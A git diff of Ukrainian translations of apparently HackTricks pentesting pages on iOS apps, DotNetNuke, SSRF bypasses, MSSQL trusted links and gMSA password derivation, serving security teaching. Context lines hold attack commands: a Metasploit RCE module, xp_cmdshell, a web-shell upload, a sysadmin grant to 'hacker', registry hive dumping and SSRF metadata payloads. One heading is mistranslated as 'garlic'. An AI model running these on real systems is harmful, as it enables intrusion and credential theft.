- Будьте обережні з функціями автокорекції та авто-пропозицій стандартної клавіатури iOS, які можуть зберігати чутливу інформацію у кеш-файлах, розташованих у `Library/Keyboard/{locale}-dynamic-text.dat` або `/private/var/mobile/Library/Keyboard/dynamic-text.dat`. Ці кеш-файли слід регулярно перевіряти на наявність чутливих даних. Рекомендується скинути словник клавіатури через **Налаштування > Загальні > Скинути > Скинути словник клавіатури** для очищення кешованих даних.
|
||||
- Перехоплення мережевого трафіку може виявити, чи передає користувацька клавіатура натискання клавіш віддалено.
|
||||
|
||||
### **Запобігання кешуванню текстових полів**
|
||||
@ -606,7 +606,7 @@ textField.autocorrectionType = UITextAutocorrectionTypeNo;
|
||||
```
|
||||
## **Логи**
|
||||
|
||||
Відладка коду часто передбачає використання **логування**. Існує ризик, оскільки **логи можуть містити чутливу інформацію**. Раніше, в iOS 6 та ранніших версіях, логи були доступні всім додаткам, що створювало ризик витоку чутливих даних. **Тепер додатки обмежені у доступі лише до своїх логів**.
|
||||
Відлагодження коду часто передбачає використання **логування**. Існує ризик, оскільки **логи можуть містити чутливу інформацію**. Раніше, в iOS 6 та ранніших версіях, логи були доступні всім додаткам, що створювало ризик витоку чутливих даних. **Тепер додатки обмежені у доступі лише до своїх логів**.
|
||||
|
||||
Незважаючи на ці обмеження, **зловмисник з фізичним доступом** до розблокованого пристрою все ще може скористатися цим, підключивши пристрій до комп'ютера та **прочитавши логи**. Важливо зазначити, що логи залишаються на диску навіть після видалення додатка.
|
||||
|
||||
@ -665,7 +665,7 @@ iPhone:~ root# socat - UNIX-CONNECT:/var/run/lockdown/syslog.sock
|
||||
...
|
||||
</plist>
|
||||
```
|
||||
Для роботи з зашифрованими резервними копіями можуть бути корисні скрипти Python, доступні в [репозиторії DinoSec на GitHub](https://github.com/dinosec/iphone-dataprotection/tree/master/python_scripts), такі як **backup_tool.py** та **backup_passwd.py**, хоча вони можуть вимагати коригувань для сумісності з останніми версіями iTunes/Finder. Іншим варіантом для доступу до файлів у резервних копіях з паролем є [**iOSbackup**](https://pypi.org/project/iOSbackup/).
|
||||
Для роботи з зашифрованими резервними копіями можуть бути корисні скрипти Python, доступні в [репозиторії DinoSec на GitHub](https://github.com/dinosec/iphone-dataprotection/tree/master/python_scripts), такі як **backup_tool.py** та **backup_passwd.py**, хоча вони можуть вимагати коригувань для сумісності з останніми версіями iTunes/Finder. Іншим варіантом для доступу до файлів у захищених паролем резервних копіях є [**iOSbackup**](https://pypi.org/project/iOSbackup/).
|
||||
|
||||
### Модифікація поведінки додатка
|
||||
|
||||
@ -673,13 +673,13 @@ iPhone:~ root# socat - UNIX-CONNECT:/var/run/lockdown/syslog.sock
|
||||
|
||||
## Резюме щодо тестування пам'яті для чутливих даних
|
||||
|
||||
При роботі з чутливою інформацією, що зберігається в пам'яті додатка, важливо обмежити час експозиції цих даних. Існують два основні підходи для дослідження вмісту пам'яті: **створення дампу пам'яті** та **аналіз пам'яті в реальному часі**. Обидва методи мають свої виклики, включаючи можливість пропустити критично важливі дані під час процесу дампу або аналізу.
|
||||
При роботі з чутливою інформацією, що зберігається в пам'яті додатка, важливо обмежити час експозиції цих даних. Існує два основних підходи для дослідження вмісту пам'яті: **створення дампа пам'яті** та **аналіз пам'яті в реальному часі**. Обидва методи мають свої виклики, включаючи можливість пропустити критично важливі дані під час процесу дампа або аналізу.
|
||||
|
||||
## **Отримання та аналіз дампу пам'яті**
|
||||
## **Отримання та аналіз дампа пам'яті**
|
||||
|
||||
Для пристроїв з джейлбрейком і без нього інструменти, такі як [objection](https://github.com/sensepost/objection) та [Fridump](https://github.com/Nightbringer21/fridump), дозволяють отримувати дамп пам'яті процесу додатка. Після отримання дампу аналіз цих даних вимагає різних інструментів, залежно від природи інформації, яку ви шукаєте.
|
||||
Для пристроїв з джейлбрейком і без нього інструменти, такі як [objection](https://github.com/sensepost/objection) та [Fridump](https://github.com/Nightbringer21/fridump), дозволяють отримувати дамп пам'яті процесу додатка. Після отримання дампа аналіз цих даних вимагає різних інструментів, залежно від природи інформації, яку ви шукаєте.
|
||||
|
||||
Щоб витягти рядки з дампу пам'яті, можна використовувати команди, такі як `strings` або `rabin2 -zz`:
|
||||
Щоб витягти рядки з дампа пам'яті, можна використовувати команди, такі як `strings` або `rabin2 -zz`:
|
||||
```bash
|
||||
# Extracting strings using strings command
|
||||
$ strings memory > strings.txt
|
||||
@ -687,7 +687,7 @@ $ strings memory > strings.txt
|
||||
# Extracting strings using rabin2
|
||||
$ rabin2 -ZZ memory > strings.txt
|
||||
```
|
||||
Для більш детального аналізу, включаючи пошук специфічних типів даних або шаблонів, **radare2** пропонує розширені можливості пошуку:
|
||||
Для більш детального аналізу, включаючи пошук конкретних типів даних або шаблонів, **radare2** пропонує розширені можливості пошуку:
|
||||
```bash
|
||||
$ r2 <name_of_your_dump_file>
|
||||
[0x00000000]> /?
|
||||
@ -704,7 +704,7 @@ $ r2 frida://usb//<name_of_your_app>
|
||||
|
||||
### Погані Процеси Управління Ключами
|
||||
|
||||
Деякі розробники зберігають чутливі дані в локальному сховищі та шифрують їх за допомогою ключа, закодованого в коді або передбачуваного. Це не слід робити, оскільки деяке реверсування може дозволити зловмисникам витягти конфіденційну інформацію.
|
||||
Деякі розробники зберігають чутливі дані в локальному сховищі та шифрують їх за допомогою ключа, закодованого в коді. Це не слід робити, оскільки деяке реверсування може дозволити зловмисникам витягти конфіденційну інформацію.
|
||||
|
||||
### Використання Небезпечних та/або Застарілих Алгоритмів
|
||||
|
||||
@ -724,7 +724,7 @@ ios monitor crypt
|
||||
|
||||
**Локальна аутентифікація** відіграє важливу роль, особливо коли йдеться про захист доступу до віддаленого кінцевого пункту за допомогою криптографічних методів. Суть полягає в тому, що без належної реалізації механізми локальної аутентифікації можуть бути обійдені.
|
||||
|
||||
[**Фреймворк локальної аутентифікації**](https://developer.apple.com/documentation/localauthentication) Apple та [**keychain**](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/01introduction/introduction.html) надають надійні API для розробників, щоб полегшити діалоги аутентифікації користувачів і безпечно обробляти секретні дані відповідно. Secure Enclave захищає ідентифікацію відбитків пальців для Touch ID, тоді як Face ID покладається на розпізнавання обличчя без компрометації біометричних даних.
|
||||
[**Фреймворк локальної аутентифікації**](https://developer.apple.com/documentation/localauthentication) Apple та [**keychain**](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/01introduction/introduction.html) надають надійні API для розробників, щоб полегшити діалоги аутентифікації користувачів та безпечно обробляти секретні дані відповідно. Secure Enclave захищає ідентифікацію відбитка пальця для Touch ID, тоді як Face ID покладається на розпізнавання обличчя без компрометації біометричних даних.
|
||||
|
||||
Для інтеграції Touch ID/Face ID розробники мають два варіанти API:
|
||||
|
||||
@ -738,7 +738,7 @@ ios monitor crypt
|
||||
|
||||
Щоб запитати користувачів про аутентифікацію, розробники повинні використовувати метод **`evaluatePolicy`** у класі **`LAContext`**, вибираючи між:
|
||||
|
||||
- **`deviceOwnerAuthentication`**: Запитує Touch ID або код доступу до пристрою, не вдаючись, якщо жоден з них не ввімкнено.
|
||||
- **`deviceOwnerAuthentication`**: Запитує Touch ID або код доступу до пристрою, не вдаючись, якщо жоден з них не увімкнено.
|
||||
- **`deviceOwnerAuthenticationWithBiometrics`**: Виключно запитує Touch ID.
|
||||
|
||||
Успішна аутентифікація вказується булевим значенням, повернутим з **`evaluatePolicy`**, що підкреслює потенційний недолік безпеки.
|
||||
@ -822,7 +822,7 @@ if (status == noErr) {
|
||||
{{#endtab}}
|
||||
{{#endtabs}}
|
||||
|
||||
Тепер ми можемо запитати збережений елемент з ключниці. Служби ключниці відобразять діалог аутентифікації для користувача і повернуть дані або nil в залежності від того, чи було надано відповідний відбиток пальця.
|
||||
Тепер ми можемо запитати збережений елемент з ключниці. Служби ключниці відобразять діалог аутентифікації для користувача та повернуть дані або nil в залежності від того, чи було надано відповідний відбиток пальця.
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="Swift"}}
|
||||
@ -891,7 +891,7 @@ $ otool -L <AppName>.app/<AppName>
|
||||
|
||||
#### **Objection**
|
||||
|
||||
Через **Objection Biometrics Bypass**, розташований на [цій сторінці GitHub](https://github.com/sensepost/objection/wiki/Understanding-the-iOS-Biometrics-Bypass), доступна техніка для подолання механізму **LocalAuthentication**. Суть цього підходу полягає в використанні **Frida** для маніпуляції функцією `evaluatePolicy`, що забезпечує постійний результат `True`, незалежно від фактичного успіху аутентифікації. Це особливо корисно для обходу ненадійних процесів біометричної аутентифікації.
|
||||
Через **Objection Biometrics Bypass**, розташований на [this GitHub page](https://github.com/sensepost/objection/wiki/Understanding-the-iOS-Biometrics-Bypass), доступна техніка для подолання механізму **LocalAuthentication**. Суть цього підходу полягає в використанні **Frida** для маніпуляції функцією `evaluatePolicy`, що забезпечує постійний результат `True`, незалежно від фактичного успіху аутентифікації. Це особливо корисно для обходу ненадійних процесів біометричної аутентифікації.
|
||||
|
||||
Для активації цього обходу використовується наступна команда:
|
||||
```bash
|
||||
@ -1020,10 +1020,10 @@ burp-configuration-for-ios.md
|
||||
Однією з поширених проблем при перевірці сертифіката TLS є перевірка, що сертифікат був підписаний **достовірним** **ЦС**, але **не перевіряти**, чи **ім'я хоста** сертифіката є іменем хоста, до якого звертаються.\
|
||||
Щоб перевірити цю проблему за допомогою Burp, після довірення CA Burp на iPhone, ви можете **створити новий сертифікат з Burp для іншого імені хоста** і використовувати його. Якщо додаток все ще працює, то щось вразливе.
|
||||
|
||||
### Прив'язка сертифіката
|
||||
### Прив'язка сертифікатів
|
||||
|
||||
Якщо додаток правильно використовує SSL Pinning, то додаток буде працювати лише якщо сертифікат є тим, що очікується. При тестуванні додатка **це може бути проблемою, оскільки Burp надасть свій власний сертифікат.**\
|
||||
Щоб обійти цю захист на зламаному пристрої, ви можете встановити додаток [**SSL Kill Switch**](https://github.com/nabla-c0d3/ssl-kill-switch2) або встановити [**Burp Mobile Assistant**](https://portswigger.net/burp/documentation/desktop/mobile/config-ios-device)
|
||||
Якщо додаток правильно використовує SSL Pinning, то він буде працювати лише якщо сертифікат є тим, що очікується. При тестуванні додатка **це може бути проблемою, оскільки Burp надасть свій власний сертифікат.**\
|
||||
Щоб обійти цю захист на джейлбрейкнутому пристрої, ви можете встановити додаток [**SSL Kill Switch**](https://github.com/nabla-c0d3/ssl-kill-switch2) або встановити [**Burp Mobile Assistant**](https://portswigger.net/burp/documentation/desktop/mobile/config-ios-device)
|
||||
|
||||
Ви також можете використовувати **objection's** `ios sslpinning disable`
|
||||
|
||||
@ -1040,15 +1040,15 @@ burp-configuration-for-ios.md
|
||||
|
||||
### Гаряче патчування/Примусове оновлення
|
||||
|
||||
Розробники можуть віддалено **поправити всі установки свого додатку миттєво**, не подаючи додаток повторно в App Store і не чекаючи, поки його затвердять.\
|
||||
Для цієї мети зазвичай використовують [**JSPatch**](https://github.com/bang590/JSPatch)**.** Але також є інші варіанти, такі як [Siren](https://github.com/ArtSabintsev/Siren) та [react-native-appstore-version-checker](https://www.npmjs.com/package/react-native-appstore-version-checker).\
|
||||
**Це небезпечний механізм, який може бути зловжито зловмисними сторонніми SDK, тому рекомендується перевірити, який метод використовується для автоматичного оновлення (якщо є) і протестувати його.** Ви можете спробувати завантажити попередню версію додатку для цієї мети.
|
||||
Розробники можуть віддалено **поправити всі установки свого додатку миттєво**, не подаючи додаток повторно в App Store і не чекаючи його затвердження.\
|
||||
Для цієї мети зазвичай використовують [**JSPatch**](https://github.com/bang590/JSPatch)**.** Але є й інші варіанти, такі як [Siren](https://github.com/ArtSabintsev/Siren) та [react-native-appstore-version-checker](https://www.npmjs.com/package/react-native-appstore-version-checker).\
|
||||
**Це небезпечний механізм, який може бути зловжито зловмисними сторонніми SDK, тому рекомендується перевірити, який метод використовується для автоматичного оновлення (якщо є) та протестувати його.** Ви можете спробувати завантажити попередню версію додатку для цієї мети.
|
||||
|
||||
### Сторонні програми
|
||||
|
||||
Суттєвим викликом з **3rd party SDKs** є **відсутність детального контролю** над їх функціональністю. Розробники стикаються з вибором: або інтегрувати SDK і прийняти всі його функції, включаючи потенційні вразливості безпеки та проблеми з конфіденційністю, або зовсім відмовитися від його переваг. Часто розробники не можуть самостійно виправити вразливості в цих SDK. Більше того, оскільки SDK отримують довіру в спільноті, деякі з них можуть почати містити шкідливе ПЗ.
|
||||
|
||||
Послуги, що надаються сторонніми SDK, можуть включати відстеження поведінки користувачів, показ реклами або покращення користувацького досвіду. Однак це створює ризик, оскільки розробники можуть не повністю усвідомлювати код, виконуваний цими бібліотеками, що призводить до потенційних ризиків конфіденційності та безпеки. Важливо обмежити інформацію, що передається стороннім службам, до необхідного та забезпечити, щоб жодні чутливі дані не були розкриті.
|
||||
Послуги, що надаються сторонніми SDK, можуть включати відстеження поведінки користувачів, показ реклами або покращення користувацького досвіду. Однак це створює ризик, оскільки розробники можуть не бути повністю обізнані про код, що виконується цими бібліотеками, що призводить до потенційних ризиків конфіденційності та безпеки. Важливо обмежити інформацію, що передається стороннім службам, до необхідного та забезпечити, щоб жодні чутливі дані не були розкриті.
|
||||
|
||||
Впровадження сторонніх послуг зазвичай відбувається у двох формах: окрема бібліотека або повний SDK. Щоб захистити конфіденційність користувача, будь-які дані, що передаються цим службам, повинні бути **анонімізовані**, щоб запобігти розкриттю особистої ідентифікаційної інформації (PII).
|
||||
|
||||
@ -1080,7 +1080,7 @@ air-keyboard-remote-input-injection.md
|
||||
- [https://mas.owasp.org/MASTG/tests/ios/MASVS-AUTH/MASTG-TEST-0064](https://mas.owasp.org/MASTG/tests/ios/MASVS-AUTH/MASTG-TEST-0064)
|
||||
- [https://medium.com/securing/bypassing-your-apps-biometric-checks-on-ios-c2555c81a2dc](https://medium.com/securing/bypassing-your-apps-biometric-checks-on-ios-c2555c81a2dc)
|
||||
- [https://mas.owasp.org/MASTG/tests/ios/MASVS-STORAGE/MASTG-TEST-0054](https://mas.owasp.org/MASTG/tests/ios/MASVS-STORAGE/MASTG-TEST-0054)
|
||||
- [https://github.com/ivRodriguezCA/RE-iOS-Apps/](https://github.com/ivRodriguezCA/RE-iOS-Apps/) безкоштовний курс IOS ([https://syrion.me/blog/ios-swift-antijailbreak-bypass-frida/](https://syrion.me/blog/ios-swift-antijailbreak-bypass-frida/))
|
||||
- [https://github.com/ivRodriguezCA/RE-iOS-Apps/](https://github.com/ivRodriguezCA/RE-iOS-Apps/) IOS безкоштовний курс([https://syrion.me/blog/ios-swift-antijailbreak-bypass-frida/](https://syrion.me/blog/ios-swift-antijailbreak-bypass-frida/))
|
||||
- [https://www.sans.org/reading-room/whitepapers/testing/ipwn-apps-pentesting-ios-applications-34577](https://www.sans.org/reading-room/whitepapers/testing/ipwn-apps-pentesting-ios-applications-34577)
|
||||
- [https://www.slideshare.net/RyanISI/ios-appsecurityminicourse](https://www.slideshare.net/RyanISI/ios-appsecurityminicourse)
|
||||
- [https://github.com/prateek147/DVIA](https://github.com/prateek147/DVIA)
|
||||
|
||||
@ -4,9 +4,9 @@
|
||||
|
||||
## TL;DR
|
||||
|
||||
iOS версія комерційного додатку "Air Keyboard" (App Store ID 6463187929) відкриває **TCP сервіс у відкритому тексті на порту 8888**, який приймає кадри натискань клавіш **без жодної аутентифікації**. Будь-який пристрій в тій же Wi-Fi мережі може підключитися до цього порту та впровадити довільний ввід з клавіатури у телефон жертви, досягаючи **повного віддаленого захоплення взаємодії**.
|
||||
iOS версія комерційного додатку "Air Keyboard" (App Store ID 6463187929) відкриває **TCP сервіс у відкритому тексті на порту 8888**, який приймає кадри натискань клавіш **без жодної аутентифікації**. Будь-який пристрій в тій же Wi-Fi мережі може підключитися до цього порту та інжектувати довільний ввід з клавіатури у телефон жертви, досягаючи **повного віддаленого захоплення взаємодії**.
|
||||
|
||||
Супутня Android версія слухає на **порту 55535**. Вона виконує слабкий AES-ECB хендшейк, але створене сміття викликає **некероване виключення в рутині розшифрування OpenSSL**, що призводить до збою фонової служби (**DoS**).
|
||||
Супутня Android версія слухає на **порту 55535**. Вона виконує слабкий AES-ECB хендшейк, але створене сміття викликає **некероване виключення в рутині розшифрування OpenSSL**, що призводить до аварійного завершення фонової служби (**DoS**).
|
||||
|
||||
## 1. Service Discovery
|
||||
|
||||
|
||||
@ -22,7 +22,7 @@
|
||||
### 1. Десеріалізація куків RCE (CVE-2017-9822 та подальші)
|
||||
*Постраждалі версії ≤ 9.3.0-RC*
|
||||
|
||||
`DNNPersonalization` десеріалізується при кожному запиті, коли вбудований обробник 404 увімкнено. Отже, підготовлений XML може призвести до довільних ланцюгів гаджетів та виконання коду.
|
||||
`DNNPersonalization` десеріалізується при кожному запиті, коли вбудований обробник 404 увімкнено. Таким чином, підготовлений XML може призвести до довільних ланцюгів гаджетів та виконання коду.
|
||||
```
|
||||
msf> use exploit/windows/http/dnn_cookie_deserialization_rce
|
||||
msf> set RHOSTS <target>
|
||||
@ -70,11 +70,11 @@ xp_cmdshell 'whoami';
|
||||
1. Перейдіть до **`Налаштування → Безпека → Більше → Додаткові налаштування безпеки`**.
|
||||
2. Додайте `aspx` (або `asp`) до **Дозволені розширення файлів** та **Зберегти**.
|
||||
3. Перейдіть до **`/admin/file-management`** та завантажте `shell.aspx`.
|
||||
4. Викличте його за адресою **`/Portals/0/shell.aspx`**.
|
||||
4. Активуйте його за адресою **`/Portals/0/shell.aspx`**.
|
||||
|
||||
---
|
||||
## Підвищення привілеїв на Windows
|
||||
Якщо виконання коду досягнуто як **IIS AppPool\<Site>**, застосовуються звичайні техніки підвищення привілеїв Windows. Якщо система вразлива, ви можете скористатися:
|
||||
Якщо виконання коду досягнуто як **IIS AppPool\<Site>**, застосовуються загальні техніки підвищення привілеїв Windows. Якщо система вразлива, ви можете скористатися:
|
||||
|
||||
* **PrintSpoofer** / **SpoolFool** для зловживання *SeImpersonatePrivilege*.
|
||||
* **Juicy/Sharp Potatoes** для обходу *Службових облікових записів*.
|
||||
@ -82,7 +82,7 @@ xp_cmdshell 'whoami';
|
||||
---
|
||||
## Рекомендації щодо зміцнення (Блакитна команда)
|
||||
|
||||
* **Оновіть** до принаймні **9.13.9** (виправляє обхід SSRF) або, бажано, **10.0.1** (проблеми з IP-фільтрацією та NTLM).
|
||||
* **Оновіть** до принаймні **9.13.9** (виправляє обходи SSRF) або, бажано, **10.0.1** (проблеми з IP-фільтрацією та NTLM).
|
||||
* Видаліть залишкові **`InstallWizard.aspx*`** файли після установки.
|
||||
* Вимкніть вихідний SMB (порти 445/139).
|
||||
* Застосуйте суворі *Фільтри хостів* на крайовому проксі, а не в DNN.
|
||||
@ -90,6 +90,6 @@ xp_cmdshell 'whoami';
|
||||
|
||||
## Посилання
|
||||
|
||||
* Документація модуля Metasploit `dnn_cookie_deserialization_rce` – практичні деталі неавтентифікованого RCE (GitHub).
|
||||
* Повідомлення про безпеку GitHub GHSA-3f7v-qx94-666m – інформація про обхід SSRF 2025 року та патчі.
|
||||
* Документація модуля Metasploit `dnn_cookie_deserialization_rce` – практичні деталі неавторизованого RCE (GitHub).
|
||||
* Повідомлення про безпеку GitHub GHSA-3f7v-qx94-666m – інформація про обходи SSRF 2025 року та патчі.
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -158,7 +158,7 @@ https://metadata/expected/path/..%2f..%2f/vulnerable/path
|
||||
|
||||
### Automatic Custom Wordlists
|
||||
|
||||
Перегляньте [**URL validation bypass cheat sheet** webapp](https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet) від portswigger, де ви можете ввести дозволений хост і хост атакуючого, і він згенерує список URL-адрес для спроби. Він також враховує, чи можете ви використовувати URL в параметрі, в заголовку Host або в заголовку CORS.
|
||||
Перегляньте [**URL validation bypass cheat sheet** webapp](https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet) від portswigger, де ви можете ввести дозволений хост і хост атакуючого, і він згенерує список URL-адрес для вас. Він також враховує, чи можете ви використовувати URL в параметрі, в заголовку Host або в заголовку CORS.
|
||||
|
||||
{{#ref}}
|
||||
https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet
|
||||
@ -191,9 +191,9 @@ HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()
|
||||
```
|
||||
## Пояснені трюки
|
||||
|
||||
### Трюк з зворотним слешем
|
||||
### Часник зворотного слешу
|
||||
|
||||
_Трюк з зворотним слешем_ використовує різницю між [WHATWG URL Standard](https://url.spec.whatwg.org/#url-parsing) та [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B). Хоча RFC3986 є загальною основою для URI, WHATWG специфічний для веб-URL і прийнятий сучасними браузерами. Ключова відмінність полягає в тому, що стандарт WHATWG визнає зворотний слеш (`\`) як еквівалент прямому слешу (`/`), що впливає на те, як URL-адреси розбираються, зокрема, позначаючи перехід від імені хоста до шляху в URL.
|
||||
_Часник зворотного слешу_ використовує різницю між [WHATWG URL Standard](https://url.spec.whatwg.org/#url-parsing) та [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B). Хоча RFC3986 є загальною основою для URI, WHATWG специфічний для веб-URL і прийнятий сучасними браузерами. Ключова відмінність полягає в тому, що стандарт WHATWG визнає зворотний слеш (`\`) як еквівалент прямому слешу (`/`), що впливає на те, як URL-адреси розбираються, зокрема, позначаючи перехід від імені хоста до шляху в URL.
|
||||
|
||||

|
||||
|
||||
@ -209,7 +209,7 @@ _Трюк з зворотним слешем_ використовує різн
|
||||
|
||||
### Трюк з ідентифікатором зони IPv6 (%25)
|
||||
|
||||
Сучасні парсери URL, які підтримують RFC 6874, дозволяють *link-local* IPv6 адресам включати **ідентифікатор зони** після знака відсотка. Деякі фільтри безпеки не знають про цей синтаксис і будуть видаляти лише IPv6 літерали в квадратних дужках, дозволяючи наступному навантаженню досягти внутрішнього інтерфейсу:
|
||||
Сучасні парсери URL, які підтримують RFC 6874, дозволяють *link-local* IPv6 адресам включати **ідентифікатор зони** після знака відсотка. Деякі фільтри безпеки не знають про цей синтаксис і лише видаляють IPv6 літерали в квадратних дужках, дозволяючи наступному навантаженню досягти внутрішнього інтерфейсу:
|
||||
```text
|
||||
http://[fe80::1%25eth0]/ # %25 = encoded '%', interpreted as fe80::1%eth0
|
||||
http://[fe80::a9ff:fe00:1%25en0]/ # Another example (macOS style)
|
||||
@ -218,15 +218,15 @@ http://[fe80::a9ff:fe00:1%25en0]/ # Another example (macOS style)
|
||||
|
||||
### Останні CVE для парсингу бібліотек (2022–2025)
|
||||
|
||||
Кілька основних фреймворків зазнали проблем з невідповідністю імені хоста, які можуть бути використані для SSRF, як тільки валідація URL була обійдена за допомогою трюків, наведених вище:
|
||||
Кілька основних фреймворків зазнали проблем з невідповідністю імені хоста, які можуть бути використані для SSRF, як тільки перевірка URL була обійдена за допомогою трюків, наведених вище:
|
||||
|
||||
| Рік | CVE | Компонент | Синопсис помилки | Мінімальний PoC |
|
||||
|------|-----|-----------|--------------|-------------|
|
||||
| 2024 | CVE-2024-22243 / ‑22262 | Spring `UriComponentsBuilder` | `[` не дозволено в секції *userinfo*, тому `https://example.com\[@internal` розбирається як хост `example.com` Spring, але як `internal` браузерами, що дозволяє відкриті перенаправлення та SSRF, коли використовуються списки дозволених хостів. Оновіть до Spring 5.3.34 / 6.0.19 / 6.1.6+. |
|
||||
| 2024 | CVE-2024-22243 / ‑22262 | Spring `UriComponentsBuilder` | `[` не дозволено в секції *userinfo*, тому `https://example.com\[@internal` розглядається як хост `example.com` Spring, але як `internal` браузерами, що дозволяє відкриті перенаправлення та SSRF, коли використовуються списки дозволених хостів. Оновіть до Spring 5.3.34 / 6.0.19 / 6.1.6+. |
|
||||
| 2023 | CVE-2023-27592 | **urllib3** <1.26.15 | Плутанина з зворотним слешем дозволила `http://example.com\\@169.254.169.254/` обійти фільтри хостів, які розділяються на `@`. |
|
||||
| 2022 | CVE-2022-3602 | OpenSSL | Перевірка імені хоста пропускалася, коли ім'я закінчувалося на `.` (плутанина бездоменного домену). |
|
||||
| 2022 | CVE-2022-3602 | OpenSSL | Перевірка імені хоста пропускалася, коли ім'я закінчувалося на `.` (плутанина бездоменного імені). |
|
||||
|
||||
Коли ви залежите від парсерів URL третьої сторони, **порівнюйте канонізований хост, повернутий бібліотекою, якій ви довіряєте, з сирим рядком, наданим користувачем**, щоб виявити ці класи проблем.
|
||||
Коли ви покладаєтеся на парсери URL сторонніх розробників, **порівнюйте канонізований хост, повернутий бібліотекою, якій ви довіряєте, з сирим рядком, наданим користувачем**, щоб виявити ці класи проблем.
|
||||
|
||||
### Допоміжні засоби для генерації payload (2024+)
|
||||
|
||||
|
||||
@ -168,13 +168,13 @@ Invoke-SQLOSCmd -Instance "srv.sub.domain.local,1433" -Command "whoami" -RawResu
|
||||
```
|
||||
Перевірте на сторінці, згаданій у **наступному розділі, як зробити це вручну.**
|
||||
|
||||
### Основні трюки хакінгу MSSQL
|
||||
### MSSQL Основні Хакерські Трюки
|
||||
|
||||
{{#ref}}
|
||||
../../network-services-pentesting/pentesting-mssql-microsoft-sql-server/
|
||||
{{#endref}}
|
||||
|
||||
## Довірені посилання MSSQL
|
||||
## MSSQL Довірені Посилання
|
||||
|
||||
Якщо екземпляр MSSQL є довіреним (посилання на базу даних) іншим екземпляром MSSQL. Якщо у користувача є привілеї над довіреною базою даних, він зможе **використовувати довірчі відносини для виконання запитів також в іншому екземплярі**. Ці довіри можуть бути з'єднані, і в якийсь момент користувач може знайти неправильно налаштовану базу даних, де він може виконувати команди.
|
||||
|
||||
@ -226,7 +226,7 @@ inject-assembly 4704 ../SharpCollection/SharpSQLPwn.exe /modules:LIC /linkedsql:
|
||||
msf> use exploit/windows/mssql/mssql_linkcrawler
|
||||
[msf> set DEPLOY true] #Set DEPLOY to true if you want to abuse the privileges to obtain a meterpreter session
|
||||
```
|
||||
Зверніть увагу, що metasploit намагатиметься зловживати лише функцією `openquery()` в MSSQL (отже, якщо ви не можете виконати команду з `openquery()`, вам потрібно буде спробувати метод `EXECUTE` **вручну** для виконання команд, див. більше нижче.)
|
||||
Зверніть увагу, що metasploit намагатиметься зловживати лише функцією `openquery()` в MSSQL (отже, якщо ви не можете виконати команду з `openquery()`, вам потрібно буде спробувати метод `EXECUTE` **вручну** для виконання команд, див. нижче.)
|
||||
|
||||
### Вручну - Openquery()
|
||||
|
||||
@ -283,7 +283,7 @@ EXECUTE('EXECUTE(''sp_addsrvrolemember ''''hacker'''' , ''''sysadmin'''' '') AT
|
||||
[SweetPotato](https://github.com/CCob/SweetPotato) має колекцію цих різних технік, які можна виконати за допомогою команди `execute-assembly` Beacon.
|
||||
|
||||
### NTLM Relay для управлінської точки SCCM (витягування секретів OSD)
|
||||
Дивіться, як стандартні SQL ролі **Управлінських Точок** SCCM можуть бути зловживані для виведення облікового запису доступу до мережі та секретів послідовності завдань безпосередньо з бази даних сайту:
|
||||
Дивіться, як стандартні SQL ролі **Управлінських Точок** SCCM можуть бути зловживані для виведення облікового запису мережевого доступу та секретів послідовності завдань безпосередньо з бази даних сайту:
|
||||
{{#ref}}
|
||||
sccm-management-point-relay-sql-policy-secrets.md
|
||||
{{#endref}}
|
||||
|
||||
@ -35,7 +35,7 @@
|
||||
### Golden gMSA / dMSA
|
||||
##### Фаза 1 – Витяг KDS Root Key
|
||||
|
||||
Вивантаження з будь-якого DC (Копія тіньового тому / сирі хаби SAM+SECURITY або віддалені секрети):
|
||||
Витяг з будь-якого DC (Копія тіньового тому / сирі хаби SAM+SECURITY або віддалені секрети):
|
||||
```cmd
|
||||
reg save HKLM\SECURITY security.hive
|
||||
reg save HKLM\SYSTEM system.hive
|
||||
@ -73,10 +73,10 @@ GoldendMSA.exe info -d example.local -m brute -r 5000 -u jdoe -p P@ssw0rd
|
||||
```
|
||||
##### Фаза 3 – Вгадати / Виявити ManagedPasswordID (коли відсутній)
|
||||
|
||||
Деякі розгортання *видаляють* `msDS-ManagedPasswordId` з ACL-захищених читань.
|
||||
Деякі розгортання *видаляють* `msDS-ManagedPasswordId` з ACL-захищених читань.
|
||||
Оскільки GUID є 128-бітним, наївний брутфорс є недоцільним, але:
|
||||
|
||||
1. Перші **32 біти = Unix epoch time** створення облікового запису (з роздільною здатністю в хвилинах).
|
||||
1. Перші **32 біти = Unix epoch time** створення облікового запису (з роздільною здатністю в хвилинах).
|
||||
2. За ними слідують 96 випадкових бітів.
|
||||
|
||||
Отже, **вузький словник для кожного облікового запису** (± кілька годин) є реалістичним.
|
||||
@ -87,7 +87,7 @@ GoldendMSA.exe wordlist -s <SID> -d example.local -f example.local -k <KDSKeyGUI
|
||||
|
||||
##### Фаза 4 – Офлайн обчислення пароля та конвертація
|
||||
|
||||
Якщо ManagedPasswordID відомий, дійсний пароль знаходиться в одному командному рядку:
|
||||
Як тільки ManagedPasswordID відомий, дійсний пароль знаходиться в одному командному рядку:
|
||||
```powershell
|
||||
# derive base64 password
|
||||
GoldendMSA.exe compute -s <SID> -k <KDSRootKey> -d example.local -m <ManagedPasswordID> -i <KDSRootKey ID>
|
||||
@ -98,7 +98,7 @@ GoldenGMSA.exe compute --sid <SID> --kdskey <KDSRootKey> --pwdid <ManagedPasswor
|
||||
## Виявлення та пом'якшення
|
||||
|
||||
* Обмежте можливості **резервного копіювання DC та читання реєстру** для адміністраторів Tier-0.
|
||||
* Моніторте створення **Режиму відновлення служб каталогів (DSRM)** або **Копії тіньового тому** на DC.
|
||||
* Моніторте створення **Режиму відновлення служб каталогів (DSRM)** або **Копії тіней томів** на DC.
|
||||
* Аудитуйте читання / зміни до `CN=Master Root Keys,…` та прапорців `userAccountControl` облікових записів служб.
|
||||
* Виявляйте незвичайні **записи паролів base64** або раптове повторне використання паролів служб на різних хостах.
|
||||
